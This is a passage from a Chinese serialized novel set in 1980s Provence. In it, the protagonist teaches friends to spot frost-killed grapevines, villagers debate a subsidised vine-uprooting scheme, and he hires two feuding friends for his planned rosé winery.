在过去的大半年时间里,罗天海几乎不会离开餐厅,因为他是那个‘大脑中枢’,因为这件事,大家的聚会几乎全部在罗南的餐厅里举办。 回答弗雷迪的是罗南: “不能一直被餐厅栓着,我爸爸和妈妈应该有更多自己的时间。” 餐厅开业时招了25个人力,最近餐厅又进行了一次扩编,总员工人数来到了35。 这样做除了是给马上要开始的旅行季做准备外,罗南也不想让父母这么辛苦了。 不要忘记,罗南把他们接来普罗旺斯是为了享福的。 先是罗天海,之后是母亲冯珍,然后是莉亚.这些人都应该从忙碌的状态中脱离出来,而餐厅现在的经营情况也支持罗南做的这个决定。 “好了,说正事吧。”罗天海带好了手套,问弗雷迪,“如何判断这颗葡萄藤死没死?” 罗南说了,死了的藤可以直接拔了。 但他不懂如何判断。 这次‘专家’弗雷迪也不敢说大话了: “坦白讲,我收过很多次葡萄,但判断葡萄藤是不是冻死和冻伤我没有什么经验,路易,你应该知道吧?” 路易‘强装镇定’的说: “我当然能判断的出来,你忘记之前卢尔马兰的最佳农夫是谁了吗?有些藤看起来没事,实则里面还是会有问题,而且冻伤的葡萄藤要修剪.你等等,让我回忆一下应该如何描述。” 路易种过地,但那已经是十几年前的事情了。 他需要慢慢唤醒记忆。 正在几个人说话间,罗南戴好手套走了过来,语气平静的说: “我来给你们找几个例子。” 第414章 意义非凡的拔藤计划 如果有松土机,起藤的步骤会更加简单。 但这个时间卢尔马兰的农夫们都在起土,没有闲置松土机,只能人工完成,不过还好罗南家门前的葡萄园面积不大。 在讲解如何辨别葡萄藤的状态前,罗南先给大家演示了一遍如何起土。 弗雷迪等人可能知道步骤,但实操的机会少,罗天海更是第一次见。 起藤的第一步是清除之前覆盖在上面的表层土。 这个时候要注意,一定要用工具从根部向外侧刨土,避免伤及主干。 而且土也不能全部清理干净,要保留10cm-15cm的覆土,以预防晚霜冻。 ‘倒春寒’往往比冬季霜冻更加恐怖,剩下的这些覆土要留到4月底再完全清理掉。 把起藤的时间一起推迟到4月底并不可行,土内高温高湿易引发根腐病。 清理完表层土,下一步就是检查冻害情况了。 完全冻死的葡萄藤较好分辨。 藤条呈现不健康的黑褐色或灰白色,主干和树枝上有纵向开裂的痕迹。 内芯没有任何绿色,呈现干枯的棕褐色。 枝条脆硬易断,折断时无任何韧性,和枯树枝无异。 根部表皮腐烂,轻轻一拉即可脱落,根须完全枯死,大部分成黑褐色粉末状。 “如果依然拿不准,最简单的方式是看看有没有新芽长出,如果没有任何新梢生长,就是死藤。” 罗南一边检查手里葡萄藤状态,一边对四周的几人说。 “哎可惜了,好好的葡萄藤就这么没了。”阿兰一连起了2根全都是冻死的葡萄藤,搞的他都不敢继续了。 见其他人那边的情况也不太好,才敢继续动手。 “阿兰你闭嘴,别打断罗南。”弗雷斯抬起脑袋,“罗南你继续说,冻伤的葡萄藤怎么分辨,又怎么处理?” 罗南讲解的比路易清晰多了,就跟有一本农业工具书在他脑袋里似的。 “冻伤的葡萄藤就比较复杂了。”罗南理出一根藤蔓,站起来给大家讲,“比如这一根,枝桠上端的颜色比正常葡萄藤白一些,但靠近主干的地方颜色又恢复了,说明它是部分冻伤,这个时候剪掉冻死的部分即可,看,里面的内芯还是绿的。” 罗天海学着罗南的样子,剪下去了一截: “还行,不是很复杂。” 罗南笑着对父亲说: “我还没说完呢,剪到这里还没完,还得再检查一次。” “怎么检查?”罗天海拿着藤蔓说,“藤蔓的颜色已经很健康了。” “下一步就不是通过藤蔓颜色判断了,而是手感。”罗南掐着藤蔓说,“健康的葡萄藤能掐出印来,弹性非常强,如果掐起来发硬或者开裂,说明还是冻伤了,要继续剪。” 罗南又剪了一截下去,把两个截口放到一起比较: “这种翠绿色才是健康的。” 说完,他继续叮嘱大家: “细的藤蔓更加容易冻伤,大家多多注意一下,冻伤藤的活力会弱很多,多剪掉一些也没事,少一些芽眼可以让它更加快速的恢复。” 这些冻伤藤的产量会下降10%-50%不等,严重的要3到4年才能恢复过来。 所以说,自然灾害带来的影响不是一次性的,而是一个很长的周期范围。 “好的!” “听明白了!” 路易理出了一根只有主干部分存活的葡萄藤问罗南: “这种只能锯掉重新长的葡萄藤怎么处理?按照那个‘拔除计划’也一起拔掉吗?” 路易手里的这一根属于重度冻伤,根系受伤严重,只有部分存活,但是齐地锯除后仍然可以发芽,只是周期会非常长。 罗南摇头道: “我种的是歌海娜,歌海娜不在‘拔除计划’的葡萄品种里,锯掉等它重新长吧。” 今天这几个来帮忙的朋友都不是农夫,他们只是听到了布兰科在喇叭里说了有这么一个计划,但没仔细听里面的详细内容。 弗雷迪惊讶的瞪大眼睛: “你的地居然不符合拔除计划?那你帮着政府推行这个计划干什么?” 最近有不少农夫来罗南家问他的意见,罗南说他支持拔掉那些低价老藤。 罗南蹲下继续剪枝子: “起初,我只是想给大家多申请一些补偿,受到冻灾的肯定有种植佳丽酿、神索和白玉霓等葡萄品种的农夫,多拿一点是一点,但现在嘛——” 他小声嘟囔: “现在还要多加一个理由——还布兰科人情。” 拔除计划的意义已经不只是补偿大家经济损失那么简单了。 “埃里克斯,快过来!我记得你也种了神索?那你要拔藤吗?” “我不想拔,但你知道的,我说的不管用,还要和那些土地主商量。” “你把葡萄藤的情况告诉他们了?” “说了啊,20%冻死,至少20%冻伤,明年产量会缩减一半,3年内逐步恢复,5年完全恢复.开始他还在抱怨我没有照顾好那块地,我对着电话筒咆哮,说卢尔马兰的葡萄园都是这样的,他才住口。” “到底要不要拔啊我现在也拿不定主意了。” “最近多注意下其他人的动向吧,大家总不可能做出对自己不利的选择吧?” “那也只能这样了” 这段时间,如上的对话在卢尔马兰的每一个角落上演着,只要两个农夫碰到头,都会问一问对方要不要参加那个‘拔除计划’。 但这些农夫们不能完全做主,因为补贴的具体分配取决于土地所有权与耕作权的划分。 如果土地是自耕种,那么补贴100%给予土地主。 如果土地是分成制度的,那么佃农可以拿到70%-80%,土地主分配其余的20%-30%,一切遵循双方签订的土地合作协议里面的约定。 在1987年,卢尔马兰的农田有70%在本地农户和村民手里,剩下的30%掌握在外来投资者和教会的手中。 法比安自己拥有1公顷土地,但他实际管理的农田面积有3公顷,这是小型家庭农户管理土地面积的平均数。 当法比安把葡萄园里的情况告诉他的土地主时,那位投资完土地再也没来过卢尔马兰的富商很快便算清楚了账,询问起更多的细节。 “我们种的葡萄在那个拔除计划里吗?” “在,你的2公顷土地种的是佳丽酿,是拔除计划针对的主要葡萄品种。” “拔除老藤后,至少多少年不能再同一块土地上种葡萄?” “5年,五年内不可以再种植普罗旺斯本土品种。” “你再给我详细的讲一下你们全体大会上的内容。” 当法比安第二次给他的土地主讲述完现在的情况后,对方很快给出了他的决定: “我建议接受拔藤计划,如果只靠农业部给予的补助,那么拔掉葡萄藤确实是亏的,我们至少要损失2年的收入,但‘灾害补偿’计划可以和‘拔除计划’并行.这样算下来,赔付款不仅可以覆盖恢复产量的损失,还稍微多了那么一点,而且我们可以继续种植橄榄和薰衣草啊,土地依然可以保值。” 第一批接受拔除计划的人几乎都是外村投资者。 这些以投资为主要目的商人只是稍微计算一下,就知道两个计划并行后他们大概率是不会亏的。 他们晓之以情、动之以礼,说服自己的佃农也接受政府的政策。 虽然双方是合作关系,但土地的所有者是那些有钱人,即使农夫们心里再舍不得,也慢慢接受了。 “算了,只是换一种作物种植而已,那就拔了吧!” 投资者的比例毕竟是少数,村里大部分农户都是自耕地。 亨利是村里对‘拔除计划’最反感的几个人之一,否则不会和皮埃尔差点打起来。 他不敢煽动大伙联合抵抗这个政策,但这不代表他从心里认同了: “反正我不会同意!我怎么可能拔掉种了那么多年的葡萄呢?” 旁边有农夫奚落他: “今天罗南不在餐厅,你又敢大声说话了?昨天罗南问你是什么态度,你说的可是要考虑考虑呢。” 亨利梗着脖子说: “对啊,我考虑完了,我不接受!” “不接受就不接受呗,你喊什么?”一个头发花白、皮肤古铜色的老农夫来到了餐厅,坐到了亨利隔壁的桌子。 “库里瓦尔,你今天怎么有心情出来找我们喝酒了?”一旁的农夫问。 因为年纪较大的原因,库里瓦尔平时并不经常和农夫们聚在一起。 库里瓦尔冷着眼看了一眼亨利,之后问同桌的人: “皮埃尔呢?他今天来过了吗?我刚去他家里,他妻子说他出去了。” “没来这里,你知道的,皮埃尔要打理的农田太多,最近有的他忙了。”旁边有人回复,“你找他什么事?如果见到了我们帮你和他说?” 库里瓦尔犹豫了几秒,才开口道: “我打算把藤拔了,参与那个什么什么计划,想问问他,要不要把我的地签走。” “你要拔藤?”周围的农夫们全部围了过来,这可是个大消息啊。 库里瓦尔摇着脑袋说: “年纪大了,身体又不好,我打算拿着钱养老了。” 下一秒,亨利挤开人群冲了进去,对库里瓦尔露出一个恐怖至极的笑容: “库里瓦尔,把你的地签给我吧,皮埃尔的地太多了,他忙不过来,我给你种薰衣草怎么样?或者种橄榄?要不然,我们去跟罗南先生种新的葡萄品种?总之,交给我亨利,你就放心吧!” “去去去,亨利一边去,库里瓦尔,把你的2公顷地给我吧。” “给我给我,库里瓦尔,我一定会帮你好好打理!” 库里瓦尔的决定影响了好几个人心态,很快又有两个人站出来说: “该死的,其实我也想拿到那笔钱去干点别的,我想去斯特斯加跟着罗南干!” “你不要和我抢啊我也是这样想的,我打算拿到补助就不种地了,既能拿到钱,罗南又承诺我们可以有工作.这有什么好犹豫的呢?” 亨利脖子都喊红了: “那你们两个人的地也给我吧!这样我们大家都能赚到更多的钱了!” 下一轮‘搏斗’接踵而至。 “给我给我!我的种地水平在卢尔马兰只比皮埃尔低一点点,给我你就放心吧!” “还是给我吧,我只有1公顷地,可以有更多的精力给你打理!” “好兄弟,忘记我们的交情了吗?能赚钱的好事你应该第一个想到我才对啊。” 第415章 各自的选择 “截止到今天,卢尔马兰参与拔除计划的葡萄园面积共有25.4公顷,占总葡萄园面积的12%,参与者主要集中在外村投资者、老农和长期种植低产老藤、收入偏低的农户中,我们有信心在4月底可以让这个数字来到30公顷。” 朱莉特驻派卢尔马兰后,布兰科每周都要向她汇报2、3次拔除计划的进展,而且其中的统计信息非常详细,可见政府对这件事的重视程度。 高度重视带来的结果就是——朱莉特每一次都能听到好消息。 朱莉特以为拔除计划需要至少半年才能取得一些成绩,没想到卢尔马兰在短短的一周时间里,已经有拿的出手的数字了。 有25.4公顷的葡萄园主动申请参与‘拔除计划’,这个过程中既没有农夫暴动,也没有什么抵制活动.比波尔多那边顺利太多了。 事实上,朱莉特要的并不是多少面积,而是可以写出漂亮‘报告’的素材,显然她已经找到了! 她迫不及待的要把欧洲共同体邀请到卢尔马兰参观让他们看看看看这里的样子。 虽然开心的不得了,但这位农业部的官员并没有‘喜形于色’,只是实事求是的评价道: “能这么快有所收获,要归功于你们的决心卢尔马兰想改变农业结构的决心。” 卢尔马兰制定的‘灾害补偿’赔付比例是经过严密计算的,那笔钱加上农业部给予的经济补偿正好能覆盖住大伙拔藤的损失甚至还略多出来了一些,这样‘拔藤计划’当然能顺利的实施下去。 而布兰科这样做的原因,就是想把更多的人力输送到其他领域,例如旅游业,又例如粉红酒。 以彻底完成卢尔马兰农业结构的调整——将传统小农经济向旅游服务业和规模化农业的转型。 朱莉特一是佩服布兰科的决心,能做的如此坚决。 二是佩服他的手段,把两件事很合理的结合到了一起,产生了1+1大于2的效应。 可以说,这两件事单独完成都困难无比,但结合起来就顺利多了。 能在这么短的时间里想到这个办法,并利用好这个机会,充分体现了卢尔马兰政府的能力。 同时,朱莉特也决定更加关注卢尔马兰这个村子了。 这里除了有‘好弟弟’罗南,还有一个非常厉害的政府班底,未来无可限量! 再加上这里同时被财大气粗的旅游局所重视,朱莉特认为她未来可以凭借卢尔马兰拿到许许多多的工作业绩。 朱莉特给了布兰科和卢尔马兰政府非常高的评价,但布兰科却自谦的说: “全靠罗南提前告知了我‘拔藤计划’的存在,否则这个机会就和卢尔马兰擦身而过了。” 朱莉特压根没想在卢尔马兰实施‘拔除计划’。 这是罗南主动申请来的。 “那个家伙.”朱莉特笑了两声。 回忆起他们第一次聊起拔除计划的场景,朱莉特突然想起来,当时罗南问她,如果在卢尔马兰推行的顺利,会不会有些‘额外’的奖励。 当时朱莉特根本没想过会成,敷衍的说‘肯定会有’。 现在罗南做到了.她也要去兑现诺言了。 罗南家门口那边葡萄园的面积不大,很快就完成了起藤,计算完损失后,他第一时间订好了一批歌海娜育苗,要把苗木穿插补种进空缺的农田里。 卢尔马兰范围内能酿制粉红酒的葡萄太少,歌海娜等品种还是要继续种植,而且这片地也不适合种梅洛。 按照正常情况来说,大于20%面积的葡萄藤冻死,最好采用分区种植,把好的葡萄藤集中到到一起去,新育苗也集中在一个区域,这样便于未来的管理。 但罗南这里的直接冻死面积正好卡在20%这个临界线,而且土地面积也太小了,‘大费周章’不太值得,于是罗南采用了更加高效的穿插补种,不过整片葡萄园需要进行一次深耕清理。 “这片地的面积太小了,小到我都没有动力购买机械设备。” 着急的起藤朋友们来帮忙了,清理土地是罗南自己干的,连续劳作了两天,难免会埋怨几句。 和其他农夫比,罗南这八亩葡萄园像是‘过家家’一样,每次罗南和大家聊起自己想买拖拉机等其他设施,农夫们就会心疼的说‘你那片地不是有手就能干了,还用的着买机器吗’。 罗南‘愤愤不平’的看向朝北山坡的方向: “但我这次必须买了,而且要买最高级的!也不知道皮埃尔帮我打听到消息没有,那片地卖不卖,价格又是多少?” 正在罗南为那边朝北山坡担忧时,葡萄园外突然传来突突突的声音,这声音铿锵有力,还带着间歇性的爆燃声,一听就不是路易家那个老古董,而是一个拥有大马力的拖拉机。 罗南钻出去一看,发现是特奥开着拖拉机来帮忙了。 “你那里忙完了?”罗南扯着脖子喊。 特奥叼着烟,歪着脑袋说: “差不多就行了,让下一个人好好干吧。” 越是马力大的拖拉机噪音越大,罗南听的不是特别真切,大声的问: “你说什么?” 特奥把烟拿下来,大喊道: “我要把一部分葡萄藤拔了!拿到钱去做点别的,之后那片地租给别人打理!” 罗南看口型明白了特奥的意思。 这太正常了,特奥这么懒的人,一定会选择拿钱休息。 “斯特斯加有什么能让我干的事情吗?”特奥大声问罗南。 罗南刚想回答,另外一道突突突声由远及近的出现,让他家热闹的像是开大型演唱会一样。 亨利离着老远便拿下船长帽对罗南招手: “罗南先生,我来帮你!” 大家都知道罗南没有机械,忙完自己那里的活儿选择来帮他。 但亨利的笑容只维持了不到三秒,他看到了他的‘毕生宿敌’! 亨利无视了特奥,跳下拖拉机,有些不好意思的对罗南说: “罗南先生,我考虑了很久.我还是想要种地,而且我也、我也不想参加那个什么计划,对不起!” 亨利决定和罗南坦白。 他真的无法接受拔掉自己辛苦培育了那么多年的葡萄,也不想放弃土地去做别的。 罗南摆着手说: “没事没事,不用道歉,这本就不是强制性质的,你想做什么就去做什么,我都支持你。” 亨利对待罗南门口和院子里的那些花都像是孩子一样。 这样的人怎么可能拔掉自己的葡萄藤呢? 亨利有些懊恼的煽动了几下帽子: “有些人拿到钱就去做别的了,村子里最近多出来了许多没人耕种的土地,但那些愚蠢的人把地签给了不靠谱的家伙,我真替他们生气!” “我看你是生气钱没给你赚吧?”拖拉机的巨大声音也无法阻挡特奥听罗南和死对头亨利聊事情,他用奚落的语气说,“你来求求我啊,我的4公顷地也要签出去,你求求我,我就签给你。” “滚蛋,你这个该死的家伙!我就算是穷死也不会要你的地。”亨利狠狠的啐了一口,“还是想想你自己吧,你这么懒惰,谁会请你做事情?等着饿死吧你!” “我兄弟罗南要我!你瞧不起谁呢?” “罗南先生才不会要你!他绝对不会给你这个懒惰家伙工作的!” “我有没有工作和你有什么关系?反正没人会把土地给你,这次政策推行下去后,农夫们普遍手里都可以有5-6公顷土地,你有多少?1公顷还是2公顷?哈哈,笑死人了亨利!” “你没有工作!” “你没有土地!!” 见特奥从拖拉机上跳下来,亨利又卷起了袖子,两个人又要扭打到一起。 罗南挡在他们中间,头疼的说: “都住手!工作有,土地也有!再打我不给你们安排了!!” 第416章 招工,狠狠的招工! “什么工作?” “哪里的土地?” 特奥和亨利同时把对方放了。 罗南让他们两个站成一排,严肃的说: “你们两个能不能不要一见面就吵架?之前也没这么严重啊.最近是怎么回事?” 罗南刚来普罗旺斯时,特奥和亨利也经常拌嘴,但还是能坐在一张桌子上喝酒,偶尔还能开开玩笑,关系没有那么差。 但今年年初开始,他们两个人只要一见面就是一副‘有你没我’的紧张样子。 可问题是,这两个人又都是罗南在村里最好的几个朋友之一他们之间的糟糕关系太让人头疼了。 罗南决定,好好整治一下这个问题! 特奥指着亨利的鼻子,给罗南‘告状’: “我见不得这个家伙‘小人得志’的样子,赚了几个破钱就不知道天高地厚了,没有你,他算个屁啊,不知道哪里来的底气和我们这样说话,而且,他还无视卢卡斯!” 几个月前,卢卡斯从马赛刚回卢尔马兰,和特奥喝酒时聊起卢尔马兰‘大变了样子’,无意间说起连之前跟在他屁股后面要好处的亨利都变了两个人碰头故意装作看不见他的样子。 特奥的‘护哥狂魔’属性大爆发,本就看不惯亨利,之后更加视其为‘眼中钉’。 两个人站成一排,亨利一扭头,口水喷了特奥一脸: “我靠罗南先生的关照富裕起来,你就没靠你哥哥卢卡斯吗?没有卢卡斯,你又算个屁,要钱没钱,要本事没本事,还好吃懒做你又凭什么总是一副高高在上的样子?你吹的那些牛皮破洞百出,大家不戳破是看在卢卡斯的面子上,但我亨利就是不想惯着你!” “好了,都别说了!”罗南赶紧制止住又要复燃起来的骂战,不再给他们两个说话的机会,“我可以给你们工作和土地,但前提是不能再吵架了,如果被我发现你们又在村里争吵,我会把所有的东西都收回来,你们认识我的时间不短了,应该知道我说到做到!” 罗南鲜少说这么重的话,显然是真的生气了.吓得特奥和亨利都不敢说话了,纷纷拿出香烟把嘴堵上。 见他们两个闭了嘴,罗南继续问: “能不能做到?” 特奥把脑袋转向另一侧,磨磨唧唧的说: “有工作了,谁还有功夫和他吵架。” 亨利想要冷哼,又怕罗南生气,刚发出一个气音就停下了: “有了更多的地照料,我也没时间在无关人等身上浪费时间,多得是要去干的事情。” 罗南的严肃是装出来的。 又‘教育’了一阵子,觉得这两个人差不多知道自己的态度了,又露出了笑容: “以后好好相处,之前是村民关系,未来可能就是‘同事’了。” 对面的两个脑袋同时看过来,动作整齐极了! 从罗南这个视角看,这两个家伙的表情和神态太搞笑了,如果有照相机,他真想拍下来给佐伊看。 特奥嫌弃的看着亨利问: “你也要去斯特斯加?” 亨利着急的话都说不利索了: “罗南先生,我我我.我想种地啊。” 是不是搞错了? 罗南摆了摆手,让他们别着急,之后对亨利说: “亨利,你先帮我把地翻一下,我有事和特奥说。” “好的。”亨利立即爬上了他的拖拉机。 等亨利走远了,罗南问特奥: “卢卡斯跟你说了吗?他这次回马赛会帮我考察那边的粉红酒市场。” 虽然斯特斯加9月份才开始酿酒,但现在需要做的事情还是挺多的,罗南急需要帮忙的人手。 康奈尔去了粉红酒博物馆宣传斯特斯加,就一定会有游客对酒庄感兴趣,但不能因为酒庄还没建起来就把这些游客拒之门外,要想一些其他的‘项目’留下他们,或者让他们对斯特斯加留下深刻的印象。 罗南目前想的是,组织一个带游客去看葡萄园的项目,4-7月参观,8-9月可以体会亲自采摘,这些事情都需要有人负责起来。 这也是卢尔马兰的斯特斯加和老斯特斯加所不同的地方,因为把粉红酒和旅游牢牢的绑定到了一起,酒庄里的工人们几乎没有闲下来的时候,一年四季都有事情干,不是酿酒就是旅游. 除了上面这些经营相关的事,眼下还有酒庄的施工和设计、机械的采买和搬运、和之前客户的对接、除了沿海城市外的市场开拓、找农夫们聊歌海娜等传统葡萄采买等许许多多的杂事。 罗南就算是有三头六臂也忙不过来全部,在农作的这几天里,他已经招聘到好几个人,并给他们分别安排好事情了。 特奥是罗南的兄弟,又是卢卡斯的弟弟,他主动问罗南能不能来斯特斯加罗南当然会同意了。 卢尔马兰人没有什么‘阶级观念’,即使给罗南打工,大家还依然是兄弟。 最好的例子就是布鲁诺。 别看布鲁诺以前是农夫们的领导,现在还升职当官了,但农夫们想他了就一定会给他打电话,才不会管对方是什么身份呢。 “说了。”特奥的表情终于正经起来,“卢卡斯临走前嘱咐我,如果你推行粉红酒时遇到了什么阻碍,一定要出面帮你解决掉,解决不了的问题给他打电话,他马上回来。” 这个卢卡斯啊罗南在心里感慨了一句,继续问特奥: “那你是想跟着你哥哥卢卡斯一起去开拓市场,还是想做点别的?” 罗南这里能安排的事情太多了,他想问问特奥的意见。 特奥心中一喜,就要张口回答跟卢卡斯一起去开拓市场,但话到嘴边仔细想了几秒.又改口了。 他无比坦诚的说: “我没有卢卡斯那么多朋友,对其他地方也不熟悉,可能做不了那个。” 特奥当然想跟着卢卡斯干,他一直想跟着卢卡斯干点什么,能跟在卢卡斯旁边他就开心。 但他又不想‘坑’了好兄弟罗南.因为他非常清楚,自己并不适合去做市场开拓。 好吧其实特奥做什么都不合适。 他什么都不会啊。 观察到特奥的表情有些失落,罗南拍了一下他的肩膀,笑着说: “没事,我这里有更合适你干的活儿。” “什么?”特奥兴奋的抬头,眼中满是期待。 罗南指着一个方向说: “斯特斯加的选址定了,就在那座山上,马上要动工,你先去帮我盯着施工,过一阵子人招齐了,我一起教你们酿酒。” 特奥激动到手里的烟险些掉到地上,他往前迈了一步: “你会教我酿酒?” “当然。”罗南搂住他的肩膀,“我说过,任何人没有工作都可以来找我。” 担心特奥和他的哥哥卢卡斯一样,先干活后要钱,罗南赶紧把报酬开了: “每个月3500法郎,我会给你上保险,如果未来斯特斯加的经营情况不错,每年涨一次工资。” 3500法郎略高于当地居民的月均收入,不过这其中有30%会由卢尔马兰政府来承担,而且布兰科还免除了酒庄5年的员工就业税,罗南实际自己承担的部分并不多。 去年冬天,布鲁诺雇佣农夫们的价格是3000-3500法郎/月,大家开心的都开香槟了,而那次因为他们是临时工,没有保险上。 罗南给的报酬这么高,福利也更加好,还有什么好犹豫的呢? 特奥想说谢谢,又觉得矫情,一溜烟跑向拖拉机: “我马上把你的地耕了!” 说有什么用? 来点实际的吧! 以后每一个冬天,罗南家的兔子管够! 在拖拉机的巨大轰鸣中,特奥兴奋的对罗南喊: “盯工地的事太适合我了,你知道的,我最会动嘴了,一定不会让他们偷懒,放心吧!” 罗南不放心的又喊了一句: “不许再和亨利吵架了,听到没有!” “知道了,知道了!”特奥开心的把拖拉机开进葡萄园里。 拿到了补助款,还有了一份这么好的工作,日子一定会越来越好的! 安顿好特奥,下一步是亨利的问题。 见特奥的嘴角咧到耳朵根,亨利一看就知道罗南给了他一个好差事。 他的心里矛盾极了。 要不然.我也拿到钱去斯特斯加找个活干? 但、但、但我真的放不下那些土地啊! “亨利!”罗南远远的把亨利喊过去。 亨利既紧张又忐忑的走过去,大气都不敢喘一下的等待罗南的决定。 罗南把亨利带离了葡萄园,去到了后院的位置。 “这里又变样子了!”亨利吃惊的左右张望,发现多了许多别具一格的小东西。 有几个角落多出了一些陶罐,再仔细看里面居然还有绿植。 而且他在许多树下都看到了休闲椅。 亨利敢肯定,去年夏天罗南家的后院不是这个样子的,因为那个时候是他来负责打理这里的花花草草! 罗南露出幸福的笑容: “都是佐伊弄的,我最近有些忙,家里的装修部分暂时停滞了,她一个人做了一些庭院装饰,还不错吧?” 小情侣的婚房装修计划停滞一个多星期了,这段时间罗南一直在和土地打交道。 罗南让佐伊也休息一下,等一等他一起,但佐伊的兴致太高涨了,完全停不下来,拿着一些现成的东西自己去布置后院了,比如陶罐,又比如编织灯和椅子。 “太好看了!”亨利四处打量,“这里比去年更漂亮了。” 罗南得意的说: “后院的大工程还没开始呢,等我忙完手里要紧的事情就继续装修。” 说完,他用询问的语气问: “亨利,你还愿意继续帮我打理院子吗?” 经过罗南和佐伊一折腾,后院需要打理的东西太多了。 去年的后院就是亨利来打理的,罗南想继续聘请他。 “当然了!”亨利蹲在一朵很普通的野花旁,指着它说,“这里的一花一草都是我亲手打理的,你忘记去年春天这里的样子了吗?这朵花去年差点死掉,我还给它搭了保护架!” 罗南开心的笑起来: “好,每个月500法郎,跟去年一样,你定期来修修草,浇浇花。” 亨利紧张的站起来,大幅度的摇头: “不要不要,我家现在赚的每一分钱都是你‘给’的,我怎么可能再找你收钱呢?你的后院我不收钱,免费帮你打理!” 去年亨利确实收了罗南一些报酬,但靠编织赚到钱后他主动还回来了.只不过罗南没收。 因为这事,特奥没少奚落亨利。 亨利绝对不可能再给人留下话柄了! 而且他也是心甘情愿的帮助罗南打理后院,这里这么漂亮,在这里干活是一种享受.比干农活轻松多了。 罗南一早猜到亨利不会要他这份报酬,没有强求,只是继续问他: “你现在手里要打理多少土地?” 拔除计划推行下去后,不少农夫都弃耕了,继续种地的农夫们手里打理的农田面积有所增加。 亨利尴尬的用帽子扇风,不过语气还是恶狠狠的,他上下牙大张大合,似乎像是把那些人吃了: “还是那不到1公顷,村里那些没有见识的家伙们不把地签给我就后悔去吧!” 亨利人缘差,性格也有些古怪,但种地的水平没有问题,而且他对土地和作物倾入的感情非常多,罗南好几次见到他在院子里和花说话。 没有任何迟疑,罗南主动邀请道: “你愿意接下我的地吗?但不是分成合作模式,我会给你固定的报酬。” 不止是斯特斯加的经营需要罗南操心,试验田项目同样离不开罗南。 但现在需要罗南去做、去思考的事情太多根本无法像去年一样,投入那么多精力亲自去种地了,必须找人打理葡萄园,他来做那个‘大脑’或者副手。 卢尔马兰的农业结构一定会进行翻天覆地的变化,有斯特斯加在,土地必然会慢慢集中化。 而拥有葡萄园的酒庄通常会雇佣工人照顾葡萄园,摒弃分成制度。 亨利小心翼翼的问: “大概是多少?” 罗南有些犹豫: “如果事情办的顺利.每个月3500法郎,我还会给你上保险。” 罗南咨询过杰罗姆工人的薪资问题。 杰罗姆说,除了比较重要的酿酒师、葡萄园主管和市场负责人,其他工人的薪资差距不大,开一个数字没问题。 亨利以为自己听错了: “3500法郎?罗南先生,您是不是弄错了?那8亩葡萄园哪里值得给这么多啊?” 罗南背着手,看向某个方向: “说不定会再多几公顷?” 卢尔马兰只有那片北坡适合种植梅洛,就算是租,罗南也要把地租下来。 但皮埃尔已经去帮忙联络四五天了,怎么还不来消息啊? 第417章 世界上最好的佐伊 罗南抽空去问了一次皮埃尔,那片北坡的地什么情况了。 皮埃尔说,老尼莫因为完全弃耕,既没有领到灾害补偿款,又没办法参与拔除计划,听到其他人申请到了多少多少钱要气死了,正在去找政府‘理论’.暂时没有心情和皮埃尔聊买卖土地的事情。 斯特斯加那边需要处理的杂事太多,种梅洛的地又迟迟没有拿下,罗南的心情难免会有些差,一天中叹气的次数增加了不少。 佐伊敏锐的观察到了罗南的‘心神不宁’,某一天晚上吃完晚饭,主动向罗南发送去了邀请: “去做点别的事情换换脑子?” 罗南这段时间太累了,身心方面全部都是,她看的心疼死了。 “可以啊。”罗南会努力向佐伊展示积极乐观的一面,“夜游吗?现在气温合适了。” 小情侣的夜游在3月份开启过一次,但因为吕贝隆的夜间温度实在太低而搁浅了。 又过了一个月,虽然夜间温度依然没有超过10度,但趁着太阳刚下去不久,体感温度还是较为宜人的,不会一出去就想进屋里。 佐伊伸出食指,左右摇了摇: “咱们去做家具吧,你不是说要尝试用编织做一些除了椅子外的别的家具?去试试?” 罗南点头答应下来: “好啊。” 佐伊拒绝去夜游,带罗南来做家具是有目的的。 只有完全沉浸入另一件需要认真对待的事情,脑子才能忘记上一个需要思考的事情。 果然,罗南在工作室里待了不到一个小时就舒畅的呼出一口大气。 这次叹气不是因为又有什么事难住他了,而是因为轻松了不少。 事实就是,只要离开那个‘焦灼’的状态去做点别的,当你再次回头看有可能会觉得——之前那件事也没有那么困难嘛。 罗南一边继续手上的动作,一边笑着说: “谢谢。” 佐伊一直在密切观察罗南的状态: “是不是轻松一些了?” 罗南点头: “会发现着急也没有用,就比如老尼莫的态度他得不到答案绝对不会卖地,所以在这件事情里我唯一能做的就是等,着急是徒劳的。” 佐伊温柔的从身后抱住罗南,把下巴撑到他的肩膀上说: “你已经很棒了,不要给自己太大的压力。” 罗南苦笑着说: “开酒庄和我之前干的所有事情都不同,那太复杂了,尤其是从连厂房都没有开始筹备.我总是怕自己忽视了什么、又弄错了什么,而且即使我努力的去学习,依然有许多不懂和欠缺的东西。” “比如呢?”佐伊像是哄孩子一样,轻轻拍着罗南的胳膊问。 “我安排了人手去盯着厂房建设,也安排了人手去组织葡萄园参观,还安排了人去维护老客户们的客情.我以为我顾及到了每一个地方,但一扭头突然发现,还缺一个会计,一个可以像我妈妈那样能把账目算明白的会计,而卢尔马兰没有现成能用的人,那感觉.”罗南不停撇嘴,“不过我现在不着急了,我先顶上,同时让布兰科去别的村子帮我问问。” 旅游局的第一笔援助已经在近期到账,布兰科给罗南的第一笔资助也要拨款了,但斯特斯加目前还没有负责这部分的人,也没有会的人。 罗南正在努力试图把母亲从餐厅中‘解放’出来,不让她每天都是工作的状态,自然不想再把酒庄的这摊子是扔给她处理。 不过罗南最近咨询了她不少相关的问题,在财务入职前,罗南暂时可以先担任,只能走一步算一步。 类似的事情还有很多很多,这只是其中的一件而已。 罗南怎么能不心累呢? 不想把太多负面情情绪带给佐伊,罗南回头轻轻吻了她一下: “抱歉亲爱的,这段时间我要先处理那边的事情,不过我发誓,一定会尽快处理好,来工作室和你汇合。” 佐伊放下了全部的工作,全身心的投入到了装修的工作中来,但罗南却被事情缠住了,他觉得非常过意不去。 佐伊皱着眉毛对罗南: “你在说什么啊,我和你之间需要说对不起?” 下一秒,她温柔的抱住罗南: “不用担心,我可以处理好的。” 第二天一早,罗南又亲自去了一趟老尼莫家,答案还是一样的——暂时没办法卖地。 之后罗南去了商业街上的粉红酒博物馆‘探望’康奈尔。 博物馆已试运营两周了,康奈尔也顺利的完成了新工作的适应期,讲词说的越来越熟练,人的状态也淡定多了。 “上帝,你不知道我在试营业前几天有多紧张。”回忆几天前,康奈尔仍然心有余悸,“一想到有那么多陌生女孩注视着我.我就紧张的想吐,挡都挡不住的那种。” 罗南做出了‘你没事吧’的表情: “那你是如何克服的?” 